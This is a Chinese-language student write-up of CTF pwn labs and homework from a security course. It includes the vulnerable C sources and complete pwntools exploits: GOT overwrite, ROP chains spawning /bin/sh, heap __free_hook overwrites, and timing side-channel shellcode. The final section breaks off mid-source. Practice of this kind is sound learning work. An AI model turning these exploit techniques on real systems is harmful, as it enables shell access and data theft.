# CS2022 Pwn writeup
## Hackmd url
https://hackmd.io/@Chtsai873/Bkh-uXcPs
* LAB
* [got2win](#got2win)
* [rop2win](#rop2win)
* [heapmath](#heapmath)
* [babynote](#babynote)
* HW
* [how2know](#how2know)
* [rop++](#rop++)
* [babyums(flag1)](#babyums(flag1))
* [babyums(flag2)](#babyums(flag2))
## got2win
* 題目程式碼
```cpp=
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
char flag[0x30];
int main()
{
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
int fd = open("/home/chal/flag", O_RDONLY);
read(fd, flag, 0x30);
close(fd);
write(1, "Good luck !\n", 13);
unsigned long addr = 0;
printf("Overwrite addr: ");
scanf("%lu", &addr);
printf("Overwrite 8 bytes value: ");
read(0, (void *) addr, 0x8);
printf("Give me fake flag: ");
int nr = read(1, flag, 0x30);
if (nr <= 0)
exit(1);
flag[nr - 1] = '\0';
printf("This is your flag: ctf{%s}... Just kidding :)\n", flag);
return 0;
}
```
* 解題思路 & 過程
這一題助教上課時基本上講解得很清楚,前半段程式碼會先讀取正確的 FLAG 進到變數,接著透過 overwrite 將 read_got 蓋成 write_plt 的位置,如此一來,透過接下來呼叫的 read 就可以變成執行 write,將 FLAG 給寫出來。
題目讀取 FLAG

透過 pwndbg 可以得知 write 的 plt address(助教的 pwndbg)

但我的 pwndbg 不知道為何顯示的方式不太一樣,並不是直接顯示 offset,因此使用 IDA 查看 plt address


透過指令 got 查看要覆蓋的 read_got address

* 解題程式碼 & 執行結果圖
```python=
from pwn import *
# nc edu-ctf.zoolab.org 10004
context.arch='amd64'
context.terminal=['tmux', 'splitw', '-h']
r=remote('edu-ctf.zoolab.org', '10004')
# r=process('./chal')
read_got=0x404038
write_plt=0x4010c0
r.sendlineafter('Overwrite addr: ', str(read_got))
r.sendafter('Overwrite 8 bytes value: ', p64(write_plt))
r.interactive()
```

## rop2win
* 題目程式碼
```cpp=
#include <stdio.h>
#include <unistd.h>
#include <seccomp.h>
char fn[0x20];
char ROP[0x100];
// fd = open("flag", 0);
// read(fd, buf, 0x30);
// write(1, buf, 0x30); // 1 --> stdout
int main()
{
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_load(ctx);
seccomp_release(ctx);
printf("Give me filename: ");
read(0, fn, 0x20);
printf("Give me ROP: ");
read(0, ROP, 0x100);
char overflow[0x10];
printf("Give me overflow: ");
read(0, overflow, 0x30);
return 0;
}
```
* 解題思路 & 過程
這一題在考 ROP,但並不是簡單的直接進行 ROP,因為題目有設定 seccomp,導致我們無法直接使用 system 指令取得 shell。這題的解題方法是透過沒有被 seccomp 限制的 read, write, open 三個指令來 exploit,因此 ROP 主要的步驟可以分為
1. open - 開啟 flag 檔案
2. read - 讀取 FLAG
3. write - 將 FLAG 寫出

其中,各種 gadget 的 offset 可以透過
`ROPgadget --multibr --binary filename > rop`
進行查詢
`pop rdi ; ret`

`pop rax ; ret`

因為並沒有 `pop rdx ; ret` 的 gadget 可以使用,所以改用`pop rdx ; pop rbx ; ret`

...略
透過 `readelf -s ./chal` 查詢 ROP base address 及 filename address


最後按照 send 順序塞入 flat 包裝好的指令以及 garbage 就大功告成


* 解題程式碼 & 執行結果圖
```python=
from pwn import *
# nc edu-ctf.zoolab.org 10005
context.arch='amd64'
context.terminal=['tmux', 'splitw', '-h']
r=remote('edu-ctf.zoolab.org', 10005)
ROP_addr=0x4e3360
fn=0x4e3340
pop_rdi_ret=0x4038b3 # pop rdi ; ret
pop_rsi_ret=0x402428 # pop rsi ; ret
pop_rdx_pop_rbx_ret = 0x493a2b
pop_rax_ret=0x45db87 # pop rax ; ret
syscall_ret=0x4284b6 # syscall ; ret
leave_ret=0x40190c # leave ; ret
# open("pwn/LAB2_rop2win/rop2win/share/flag", 0)
# read(3, fn, 0x30)
# write(1, fn, 0x30)
ROP = flat(
pop_rdi_ret, fn,
pop_rsi_ret, 0,
pop_rax_ret, 2,
syscall_ret,
pop_rdi_ret, 3,
pop_rsi_ret, fn,
pop_rdx_pop_rbx_ret, 0x30, 0,
pop_rax_ret, 0,
syscall_ret,
pop_rdi_ret, 1,
pop_rax_ret, 1,
pop_rsi_ret, fn,
pop_rdx_pop_rbx_ret, 0x30, 0,
syscall_ret
)
# ROP_bad = flat(
# pop_rdi_ret, fn,
# pop_rsi_ret, 0,
# pop_rdx_pop_rbx_ret, 0,
# pop_rax_ret, 0x3b,
# syscall_ret
# )
r.sendlineafter('Give me filename: ', '/home/chal/flag\x00')
r.sendafter('Give me ROP: ', b'A'*0x8+ROP)
r.sendafter('Give me overflow: ', b'A'*0x20 + p64(ROP_addr) + p64(leave_ret))
# #bad
# """
# r.sendafter('Give me filename: ', '/bin/sh\x00')
# r.sendafter('Give me ROP: ', b'A'*0x8+ROP_bad)
# r.sendafter('Give me overflow: ', b'A'*0x20 + p64(ROP_addr)+p64(leave_ret))
# """
r.interactive()
```

## heapmath
* 題目程式碼
```cpp=
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
int main()
{
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
srand(time(NULL));
void *tcache_chk[7] = {0};
unsigned char tcachebin[3][7] = {0}; // 0x20, 0x30, 0x40
unsigned int tcachebin_counts[4] = {0};
unsigned long tcache_size[7] = {0};
unsigned long tcache_free_order[7] = {0};
puts("----------- ** tcache chall ** -----------");
unsigned long tmp = 0;
for (int i = 0; i < 7; i++) {
tmp = (rand() % 0x21) + 0x10; // 0x10 ~ 0x30
tcache_size[i] = tmp;
}
for (int i = 0; i < 7; i++) {
repeat:
tmp = rand() % 7;
for (int j = 0; j < i; j++)
if (tmp == tcache_free_order[j]) goto repeat;
tcache_free_order[i] = tmp;
}
for (int i = 0; i < 7; i++) {
tcache_chk[i] = malloc( tcache_size[i] );
printf("char *%c = (char *) malloc(0x%lx);\n", 'A' + i, tcache_size[i]);
}
for (int i = 0; i < 7; i++) {
int idx = tcache_free_order[i];
free(tcache_chk[ idx ]);
printf("free(%c);\n", 'A' + (unsigned char) idx);
tmp = tcache_size[ idx ] - 0x8;
if (tmp % 0x10)
tmp = (tmp & ~0xf) + 0x20;
else
tmp += 0x10;
unsigned int binidx = ((tmp - 0x20) / 0x10);
unsigned int bincnt = tcachebin_counts[ binidx ];
tcachebin[ binidx ][ bincnt ] = 'A' + (unsigned char) idx;
tcachebin_counts[ binidx ]++;
}
char tmpbuf[0x100] = {0};
char ansbuf[3][0x100] = {0};
for (int i = 0; i < 3; i++) {
for (int j = 6; j >= 0; j--)
if (tcachebin[i][j]) {
sprintf(tmpbuf, "%c --> ", tcachebin[i][j]);
strcat(ansbuf[i], tmpbuf);
}
strcat(ansbuf[i], "NULL");
}
puts("");
for (int i = 0; i < 3; i++) {
printf("[chunk size] 0x%x: ", (i+2) * 0x10);
if (i == 0) {
printf("%s\t(just send \"%s\")\n", ansbuf[i], ansbuf[i]);
} else {
printf("?\n> ");
fgets(tmpbuf, 0x100, stdin);
if (!strncmp(tmpbuf, ansbuf[i], strlen(ansbuf[i]))) {
puts("Correct !");
} else {
puts("Wrong !");
printf("Ans: \"%s\"\n", ansbuf[i]);
exit(0);
}
}
}
puts("\n----------- ** address chall ** -----------");
int cmp1 = 0;
int cmp2 = 0;
unsigned long ans_addr = 0;
cmp1 = rand() % 7;
while ((cmp2 = rand() % 7) == cmp1);
if (cmp1 > cmp2) {
tmp = cmp1;
cmp1 = cmp2;
cmp2 = tmp;
}
printf("assert( %c == %p );\n", 'A' + cmp1, tcache_chk[ cmp1 ]);
printf("%c == ?\t(send as hex format, e.g. \"%p\")\n> ",
'A' + cmp2, tcache_chk[ cmp1 ]);
scanf("%s", tmpbuf);
ans_addr = strtoul(tmpbuf, NULL, 16);
if (ans_addr == (unsigned long) tcache_chk[ cmp2 ]) {
puts("Correct !");
} else {
puts("Wrong !");
printf("Ans: %p\n", tcache_chk[ cmp2 ]);
exit(0);
}
puts("\n----------- ** index chall ** -----------");
unsigned long *fastbin[2] = {0};
unsigned long fastbin_size = 0;
unsigned long secret_idx = 0, result_idx = 0, res = 0;
fastbin_size = (rand() % 0x31) + 0x40; // 0x40 ~ 0x70
fastbin_size &= ~0xf;
fastbin[0] = (unsigned long *) malloc( fastbin_size );
fastbin[1] = (unsigned long *) malloc( fastbin_size );
printf("unsigned long *%c = (unsigned long *) malloc(0x%lx);\n", 'X', fastbin_size);
printf("unsigned long *%c = (unsigned long *) malloc(0x%lx);\n", 'Y', fastbin_size);
secret_idx = rand() % (fastbin_size / 8);
fastbin[1][ secret_idx ] = 0xdeadbeef;
result_idx = ((unsigned long)(&fastbin[1][ secret_idx ]) - (unsigned long)(&fastbin[0][0])) / 8;
printf("Y[%lu] = 0xdeadbeef;\n", secret_idx);
printf("X[?] == 0xdeadbeef\t(just send an integer, e.g. \"8\")\n> ");
scanf("%lu", &res);
if (fastbin[0][res] == 0xdeadbeef) {
puts("Correct !");
} else {
puts("Wrong !");
printf("Ans: %lu\n", result_idx);
exit(0);
}
puts("\n----------- ** tcache fd chall ** -----------");
free(fastbin[0]);
free(fastbin[1]);
printf("free(X);\nfree(Y);\nassert( Y == %p );\n", fastbin[1]);
printf("fd of Y == ?\t(send as hex format, e.g. \"%p\")\n> ", fastbin[1]);
scanf("%s", tmpbuf);
ans_addr = strtoul(tmpbuf, NULL, 16);
if (ans_addr == *fastbin[1]) {
puts("Correct !");
} else {
puts("Wrong !");
printf("Ans: 0x%lx\n", *fastbin[1]);
exit(0);
}
puts("\n----------- ** fastbin fd chall (final) ** -----------");
puts("[*] Restore the chunk to X and Y");
printf("%c = (unsigned long *) malloc(0x%lx);\n", 'Y', fastbin_size);
printf("%c = (unsigned long *) malloc(0x%lx);\n", 'X', fastbin_size);
fastbin[1] = malloc(fastbin_size);
fastbin[0] = malloc(fastbin_size);
printf("[*] Do something to fill up 0x%lx tcache\n...\n[*] finish\n", fastbin_size + 0x10);
void *tmpchk[7];
for (int i = 0; i < 7; i++)
tmpchk[i] = malloc(fastbin_size);
for (int i = 0; i < 7; i++)
free(tmpchk[i]);
printf("free(X);\nfree(Y);\nassert( Y == %p );\n", fastbin[1]);
free(fastbin[0]);
free(fastbin[1]);
printf("fd of Y == ?\t(send as hex format, e.g. \"%p\")\n> ", fastbin[1]);
scanf("%s", tmpbuf);
ans_addr = strtoul(tmpbuf, NULL, 16);
if (ans_addr == *fastbin[1]) {
puts("Correct !");
memset(tmpbuf, 0, 0x31);
int fd = open("/home/heapmath/flag", O_RDONLY);
read(fd, tmpbuf, 0x30);
close(fd);
printf("Here is your flag: %s\n", tmpbuf);
puts("HI\n");
} else {
puts("Wrong !");
printf("Ans: 0x%lx\n", *fastbin[1]);
exit(0);
}
}
```
* 解題思路 & 過程
* 這主要在考對 Heap 的了解程度,可以簡單分成 5 個小題目,全部送出正確的答案便可以得到最後的 flag。因為題目可供連線的時間實在是不長,所以我這種手速慢的人只好寫腳本...(助教在我寫完腳本的隔天調整了連線時間,氣死,這個糞 code 我寫了很久)
1. 第一小題 `----------- ** tcache chall ** -----------`
題目隨機 malloc 了 7 個(tcache 最大值)大小介於 0x10 ~ 0x30 的記憶體位置,並將他們一一 free,使其進入 tcache,並要求輸入其在 tcache 內正確的順序,搭配 pwndbg 可以較好理解。

2. 第二小題 `----------- ** address chall ** -----------`
此題承續上題,給了某個 tcache 內的有chunk 的記憶體位置,根據 malloc 的順序及大小即可推出其餘的 chunk 位置

3. 第三小題 `----------- ** index chall ** -----------`
第三小題依序 malloc 了大小介於 0x40 ~ 0x70 的 X, Y 兩塊記憶體空間,這題主要的概念類似 overflow,由於是連續配置的兩塊 chunk,因此可以計算出當 X 的 index 為多少時可以重疊蓋到 Y 的空間(計算 chunk and Header 大小)。
4. 第四小題 `----------- ** tcache fd chall ** -----------`
這題主要要了解 fd 的指向位置,例如 tcache fd 會指向 header 的位置,而 fastbin fd 則會指到 data 的位置。因此這題只需要簡單的計算扣掉 chunk size and header size(0x10) 即可得到 fd
5. 第五小題 `----------- ** fastbin fd chall (final) ** -----------`
第五小題與第四小題類似,計算方法則是扣掉 tache size and header size(0x10)
* 解題程式碼 & 執行結果圖
```python=
import time
from pwn import *
# nc edu-ctf.zoolab.org 10006
context.arch='amd64'
context.terminal=['tmux', 'splitw', '-h']
r=remote('edu-ctf.zoolab.org', 10006)
malloc_map={}
free_list=[]
bin20=[]
bin30=[]
bin40=[]
r.recvuntil(b'----------- ** tcache chall ** -----------')
r.recvline()
for i in range(7):
t=r.recvline()
c=chr(t[6])
t=t[-7:-3]
malloc_map[c]=int(t, 16)
for i in range(7):
t=r.recvline()
t=t[-4:-3]
free_list.append(t)
#1
for c, i in enumerate(free_list[::-1]):
if (int(malloc_map[i.decode("utf-8") ])+0x8<0x20):
bin20.append(i.decode("utf-8"))
r.recvline()
s=str()
for c, i in enumerate(free_list[::-1]):
if (int(malloc_map[i.decode("utf-8") ])+0x8<0x30) & (int(malloc_map[i.decode("utf-8") ])+0x8>0x20):
bin30.append(i.decode("utf-8"))
s+=i.decode("utf-8")
s+=" --> "
s+="NULL"
r.sendline(s)
r.recvline()
s=str()
for c, i in enumerate(free_list[::-1]):
if (int(malloc_map[i.decode("utf-8") ])+0x8<0x40) and (int(malloc_map[i.decode("utf-8") ])+0x8>0x30):
bin40.append(i.decode("utf-8"))
s+=i.decode("utf-8")
if c!=6:
s+=" --> "
s+="NULL"
r.sendline(s)
time.sleep(1)
#2
r.recvuntil(b'----------- ** address chall ** -----------')
r.recvline()
t=r.recvline()
c=chr(t[8])
c_address=t[13:-4]
c_address=int(c_address, 16)
t=chr(r.recvline()[0])
f=0
for i in OrderedDict(reversed(list(malloc_map.items()))):
if i==t:
f=1
continue
if f==1:
if i in bin20:
c_address+=0x20
elif i in bin30:
c_address+=0x30
elif i in bin40:
c_address+=0x40
if i==c:
break
r.sendline(str(hex(c_address)))
time.sleep(1)
#3
r.recvuntil(b'----------- ** index chall ** -----------')
r.recvline()
t=r.recvline()
c=int(t[-5:-4])
r.recvline()
t=r.recvline()
t=int(chr(t[2]))
r.sendline(str(t+2*c+2))
time.sleep(1)
#4
r.recvuntil(b'----------- ** tcache fd chall ** -----------')
r.recvline()
r.recvline()
t=r.recv()
t=t[22:36]
t=int(t, 16)
t=t-0x10*(c+1)
r.sendline(hex(t))
time.sleep(1)
#5
r.recvuntil(b'----------- ** fastbin fd chall (final) ** -----------')
r.recvline()
r.recvline()
r.recvline()
r.recvline()
t=r.recvline()[-12:-8]
t=int(t, 16)
r.recvuntil(b'free(Y);')
r.recvline()
Y_address=r.recvline()[-18:-4]
Y_address=int(Y_address, 16)
Y_address=Y_address-(t+0x10)
r.sendline(hex(Y_address))
r.interactive()
```

## babynote
* 題目程式碼
```cpp=
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
struct Note
{
char name[0x10];
void *data;
};
struct Note *notes[0x10];
static short int get_idx()
{
short int idx;
printf("index\n> ");
scanf("%hu", &idx);
if (idx >= 0x10)
printf("no, no ...\n"), exit(1);
return idx;
}
static short int get_size()
{
short int size;
printf("size\n> ");
scanf("%hu", &size);
return size;
}
void add_note()
{
short int idx;
idx = get_idx();
notes[idx] = malloc(sizeof(*notes[idx]));
printf("note name\n> ");
read(0, notes[idx]->name, 0x10);
notes[idx]->data = NULL;
printf("success!\n");
}
void edit_data()
{
short int idx;
short int size;
idx = get_idx();
size = get_size();
if (notes[idx]->data == NULL)
notes[idx]->data = malloc(size);
read(0, notes[idx]->data, size);
printf("success!\n");
}
void del_note()
{
short int idx;
idx = get_idx();
free(notes[idx]->data);
free(notes[idx]);
printf("success!\n");
}
void show_notes()
{
for (int i = 0; i < 0x10; i++) {
if (notes[i] == NULL || notes[i]->data == NULL)
continue;
printf("[%d] %s\ndata: %s\n", i, notes[i]->name, (char *)notes[i]->data);
}
}
int main()
{
char opt[2];
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
while (1)
{
printf("1. add_note\n"
"2. edit_data\n"
"3. del_note\n"
"4. show_notes\n"
"5. bye\n"
"> ");
read(0, opt, 2);
switch (opt[0]) {
case '1': add_note(); break;
case '2': edit_data(); break;
case '3': del_note(); break;
case '4': show_notes(); break;
case '5': exit(0);
}
}
return 0;
}
```
* 解題思路 & 過程
這題首先第一步就是要先堆出我們所需要的 heap 結構,透過 malloc 及 free 來造成 heap buffer overflow ,從而製造出我們可以掌控的 heap 空間,並透過此空間 leak address 取得 libc address,從而做我們想做的事。
步驟就如上課所述:
1. 堆結構


2. Free 掉記憶體後,再透過 show operation leak 出 unsorted bin fd(指向 main arena),如此即可得到 libc address,在透過減去 offset 獲得 library base address,然後便可以透過加上各種 offset 得到指令位置(system offset 不太確定怎麼取得的,自己查了一下好像跟助教給得不太一樣,但試過後發現助教是對的)

3. 搭配助教上課的圖可以較好理解這個步驟,透過 Edit operation 的 overflow 可以建構出我們所需要的 fake chunk,可以藉此讓其 pointer 指向 _free_hook,並將 system() 給寫入,如此即可透過呼叫 free 來執行 system()。則最後在將我們即將 free 掉的記憶體位置處填入我們想執行的 syscall 指令,最後的執行程式會變成
`free(B->data)` --> `system("/bin/sh")`

4. 拿到 shell 後在其中找到 FLAG

===

* 解題程式碼 & 執行結果圖
```python=
# nc edu-ctf.zoolab.org 10007
import pwn
import time
def add_note(index, name):
r.sendlineafter(b'> ', b'1')
r.sendlineafter(b'index\n> ', str(index))
r.sendlineafter(b'note name\n> ', name)
def edit_data(index, size, data):
r.sendlineafter(b'> ', b'2')
r.sendlineafter(b'index\n> ', str(index))
r.sendlineafter(b'size\n> ', str(size))
time.sleep(1)
r.send(data)
def del_note(index):
r.sendlineafter(b'> ', b'3')
r.sendlineafter(b'index\n> ', str(index))
def show_notes():
r.sendlineafter(b'> ', b'4')
r = pwn.remote('edu-ctf.zoolab.org', 10007)
pwn.context.arch = 'amd64'
pwn.context.terminal = ['tmux', 'splitw', '-h']
add_note(0, 'A'*0x8)
edit_data(0, int('0x418', 16), 'A')
add_note(1, 'B'*0x8)
edit_data(1, int('0x18', 16), 'B')
add_note(2, 'C'*0x8)
del_note(0)
show_notes()
r.recvuntil('data: ')
libc=pwn.u64(r.recv(6).ljust(8, b'\x00')) - 0x1ecbe0
free_hook=libc + 0x1eee48
system = libc + 0x52290
# pwn.info(f"libc: {hex(libc)}")
#######################################################
fake_chunk=pwn.flat(
0, 0x21,
b'CCCCCCCC', b'CCCCCCCC',
free_hook
)
data=b'/bin/sh\x00'.ljust(0x10, b'B')
edit_data(1, int('0x38', 16), data+fake_chunk)
r.recv()
edit_data(2, 8, pwn.p64(system))
r.recv()
del_note(1)
r.interactive()
```

===

## how2know
* 題目程式碼
```cpp=
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <seccomp.h>
#include <sys/mman.h>
#include <stdlib.h>
static char flag[0x30];
int main()
{
void *addr;
int fd;
scmp_filter_ctx ctx;
addr = mmap(NULL, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if ((unsigned long)addr == -1)
perror("mmap"), exit(1);
fd = open("/home/chal/flag", O_RDONLY);
if (fd == -1)
perror("open"), exit(1);
read(fd, flag, 0x30);
close(fd);
write(1, "talk is cheap, show me the code\n", 33);
read(0, addr, 0x1000);
ctx = seccomp_init(SCMP_ACT_KILL);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_load(ctx);
seccomp_release(ctx);
((void(*)())addr)();
return 0;
}
```
* 解題思路 & 過程
這題的程式碼一開始根本看不懂,直到查過一輪才開始理解它在幹嘛,大概的流程如下
1. 設定記憶體映射 addr
2. 開啟`/home/chal/flag`讀入 FLAG
3. 讀入 0x1000 的資料進 addr Buffer
4. 使用 seccomp 鎖住除了 exit & exit_group 之外的 syscall
5. 呼叫輸入的資料(?)
由於這題幾乎把所有的 syscall 都限制住了,看起來沒有辦法透過 BOF 之類的漏洞處理,因此需要用點別的辦法,程式中呼叫了 read 取得 0x1000 大小的資料,我們可以透過這個 buffer 將 assmebly code 寫入使其執行。且程式中有確實的把 FLAG 給讀進 Buffer,因此我們可以透過 IDA 查看得知 FLAG 存入的位置,但我們沒辦法使用 write 將其寫出,因此這邊使用土法煉鋼的辦法,可以從題目中得知 FLAG 長度為 0x30,我們可以透過 remote 最多 (FLAG 長度(0x30) * Ascii code table(256))次來確認 FLAG內的所有字元的 Ascii code,雖然依舊沒辦法直接回傳,但可以透過時間函數 time 來比對,若是比對到相同的程式便使其進入無窮迴圈(詢問同學才得知此功能),導致程式執行時間拉長,最終 crash;若是比對失敗則直接退出,如此透過 runtime threshold 便可以逐一確認 FLAG 內的字元,但需要執行一段時間...
使用 IDA找到 FLAG load 的位置

使用 IDA找到 執行 Buffer code 時的 [rsp]

將 FLAG 逐個字元取出比對

runtime threshold 分別是 2 秒為連線的長度,1.5秒為成功判別字元的迴圈時間,若當前字元並未配對成功則會直接退出,正常情況下不會超過1.5秒。

* 解題程式碼 & 執行結果圖
```python=
# nc edu-ctf.zoolab.org 10002
from pwn import *
import time
context.arch='amd64'
context.terminal=['tmux', 'splitw', '-h']
offset=0x4040-0x13dc # rsp 與 flag 之間 offset
def func(flag, asci):
global offset
asm_code = asm(f"""
xor rdx, rdx
mov rdx, qword ptr [rsp]
add rdx, {offset}
xor rax, rax
mov rax, qword ptr [rdx+{flag}]
cmp al, {asci}
je $-0x2
ret
""")
r = remote("edu-ctf.zoolab.org", 10002)
start = time.time()
# r.recvuntil(b"talk is cheap, show me the code")
r.recvline()
r.send(asm_code)
try:
r.recvline(timeout=2)
except:
...
r.close()
if time.time() - start > 1.5:
return True
return False
FLAG = ""
for f in range(48):
for asci in range(33, 127):
if func(hex(f), asci):
print("find", chr(asci))
FLAG += chr(asci)
print(FLAG)
break
print(FLAG)
```



## rop++
* 題目程式碼
```cpp=
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int main()
{
char buf[0x10];
const char *msg = "show me rop\n> ";
write(1, msg, strlen(msg));
read(0, buf, 0x200);
return 0;
}
```
* 解題思路 & 過程
這題 rop++ 相較其他題目之下就比較簡短,概念基本上也跟 LAB2 差不多,需要透過 gadget 改造 read 來想辦法執行我們需要的指令。這題看完題目後發現只有一個 Read 的 stack buffer overflow,且題目本身沒有加上 seccomp 之類的限制,以及為 static 編譯。看完題目後決定使用 rop gadget 想辦法執行 `/bin/sh` 取得程式使用權,因此一樣使用
`ROPgadget --multibr --binary filename > rop`
查看可使用的 rop gadget
`pop rdi ; ret`

`pop rsi ; ret`

`syscall`

由於找不到 `pop rdx ; ret` 因此改用 `pop rdx ; pop rbx ; ret` 作為替代

...略
由於程式內找不到 `/bin/sh`,所以需要自己放入,助教似乎是使用 read 來進行讀取,但我實作時不知道發生了甚麼錯誤一直行不通,詢問隊友才知道也可以使用 mov 來給字串(由於`"/bin/sh/\x00"`剛好為 8bytes),
在同伴指引下找到可使用的 gadget

暫時儲存字串的位置可以透過
`readelf -S ./chal`
找尋,我使用 .data 的位置來暫存`"/bin/sh/\x00"` -> temp_region

ROP 段

* 解題程式碼 & 執行結果圖
```python=
from pwn import *
# nc edu-ctf.zoolab.org 10003
context.arch='amd64'
context.terminal=['tmux', 'splitw', '-h']
r=remote('edu-ctf.zoolab.org', 10003)
temp_region=0x4c50e0
pop_rax_ret=0x447b27
pop_rdi_ret=0x401e3f
pop_rsi_ret=0x409e6e
pop_rdx_pop_rbx_ret=0x47ed0b
mov_rsi_rax=0x449fa5
syscall=0x401bf4
ROP=flat(
b"A"*40,
pop_rax_ret, b'/bin/sh\0',
pop_rsi_ret, temp_region,
mov_rsi_rax,
pop_rdi_ret, temp_region,
pop_rsi_ret, 0,
pop_rdx_pop_rbx_ret, 0, 0,
pop_rax_ret, 0x3b,
syscall
)
r.recvuntil(b'show me rop\n> ')
r.sendline(ROP)
r.interactive()
```

## babyums(flag1)
* 題目程式碼
```cpp=
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define FLAG1 "flag{XXXXXXXX}"
struct User
{
char name[0x10];
char password[0x10];
void *data;
};
struct User *users[8];
static short int get_idx()
{
short int idx;
printf("index\n> ");
scanf("%hu", &idx);
if (idx >= 8)
printf("no, no ..."), exit(1);
return idx;
}
static short int get_size()
{
short int size;
printf("size\n> ");
scanf("%hu", &size);
if (size >= 0x500)
printf("no, no ..."), exit(1);
return size;
}
void add_user()
{
short int idx;
idx = get_idx();
users[idx] = malloc(sizeof(*users[idx]));
printf("username\n> ");
read(0, users[idx]->name, 0x10);
printf("password\n> ");
read(0, users[idx]->password, 0x10);
users[idx]->data = NULL;
printf("success!\n");
}
void edit_data()
{
short int idx;
short int size;
idx = get_idx();
size = get_size();
if (users[idx]->data == NULL)
users[idx]->data = malloc(size);
read(0, users[idx]->data, size);
printf("success!\n");
}
void del_user()
{
short int idx;
idx = get_idx();
free(users[idx]->data);
free(users[idx]);
printf("success!\n");
}
void show_users()
{
for (int i = 0; i < 8; i++) {
if (users[i] == NULL || users[i]->data == NULL)
continue;
printf("[%d] %s\ndata: %s\n", i, users[i]->name, (char *)users[i]->data);
}
}
void add_admin()
{
users[0] = malloc(sizeof(*users[0]));
strcpy(users[0]->name, "admin");
strcpy(users[0]->password, FLAG1);
users[0]->data = NULL;
}
int main()
{
char opt[2];
int power = 20;
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("**** User Management System ****\n");
add_admin();
while (power)
{
power--;
printf("1. add_user\n"
"2. edit_data\n"
"3. del_user\n"
"4. show_users\n"
"5. bye\n"
"> ");
read(0, opt, 2);
switch (opt[0]) {
case '1': add_user(); break;
case '2': edit_data(); break;
case '3': del_user(); break;
case '4': show_users(); break;
case '5': exit(0);
}
}
printf("No... no power..., b..ye...\n");
return 0;
}
```
* 解題思路 & 過程
這題是跟 babynote 類似的選單題,因此解題手法也類似,甚至程式碼都沒有改變太多,只有根據 struct 變化而堆的結構以及改了一點點 function 的寫法
1. 堆結構


2. Free 掉記憶體後,再透過 show operation leak 出 unsorted bin fd(指向 main arena),如此即可得到 libc address,在透過減去 offset 獲得 library base address,然後便可以透過加上各種 offset 得到指令位置(system offset 不太確定怎麼取得的,自己查了一下好像跟助教給得不太一樣,但試過後發現助教是對的)

因為fake chunk 已被 free 過了,因此原先為 data 的位置處現在存放的是 unsorted bin fd,可以透過 `show_users()` leak address

3. 搭配助教上課的圖可以較好理解這個步驟,透過 Edit operation 的 overflow 可以建構出我們所需要的 fake chunk,可以藉此讓其 pointer 指向 _free_hook,並將 system() 給寫入,如此即可透過呼叫 free 來執行 system()。則最後在將我們即將 free 掉的記憶體位置處填入我們想執行的 syscall 指令,最後的執行程式會變成
`free(B->data)` --> `system("/bin/sh")`

4. 最後透過 del_user 呼叫 free 來執行 execve()

* 解題程式碼 & 執行結果圖
```python=
# nc edu-ctf.zoolab.org 10008
# P.S. flag1 is the password of admin
import pwn
import time
def add_user(index, name, passw):
r.sendlineafter(b'> ', b'1')
r.sendlineafter(b'index\n> ', str(index))
r.sendlineafter(b'username\n> ', str(name))
r.sendlineafter(b'password\n> ', passw)
time.sleep(1)
def edit_data(index, size, data):
r.sendlineafter(b'> ', b'2')
r.sendlineafter(b'index\n> ', str(index))
r.sendlineafter(b'size\n> ', str(size))
time.sleep(1)
r.send(data)
def del_user(index):
r.sendlineafter(b'> ', b'3')
r.sendlineafter(b'index\n> ', str(index))
time.sleep(1)
def show_users():
r.sendlineafter(b'> ', b'4')
pwn.context.arch = 'amd64'
pwn.context.terminal = ['tmux', 'splitw', '-h']
r = pwn.remote('edu-ctf.zoolab.org', 10008)
add_user(0, 'A'*0x8, 'A'*0x8)
edit_data(0, int('0x418', 16), 'A')
add_user(1, 'B'*0x8, 'B'*0x8)
edit_data(1, int('0x18', 16), 'B')
add_user(2, 'C'*0x8, 'C'*0x8)
del_user(0)
show_users()
r.recvuntil('data: ')
libc = pwn.u64(r.recv(6).ljust(8, b'\x00')) - 0x1ecbe0
system = libc + 0x52290
free_hook = libc + 0x1eee48
fake_chunk = pwn.flat(
0, 0x31,
b'CCCCCCCC', b'CCCCCCCC',
b'CCCCCCCC', b'CCCCCCCC',
free_hook
)
data = b'/bin/sh\x00'.ljust(0x10, b'B')
edit_data(1, int('0x48', 16), data+fake_chunk)
edit_data(2, 8, pwn.p64(system))
del_user(1)
r.interactive()
```


## babyums(flag2)
* 題目程式碼
```cpp=
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define FLAG1 "flag{XXXXXXXX}"
struct User
{
char name[0x10];
char password[0x10];
void *data;
};
struct User *users[8];
static short int get_idx()
{
short int idx;
printf("index\n> ");
scanf("%hu", &idx);
if (idx >= 8)
printf("no, no ..."), exit(1);
return idx;
}
static short int get_size()
{
short int size;
printf("size\n> ");
scanf("%hu", &size);
if (size >= 0x500)
printf("no, no ..."), exit(1);
return size;
}
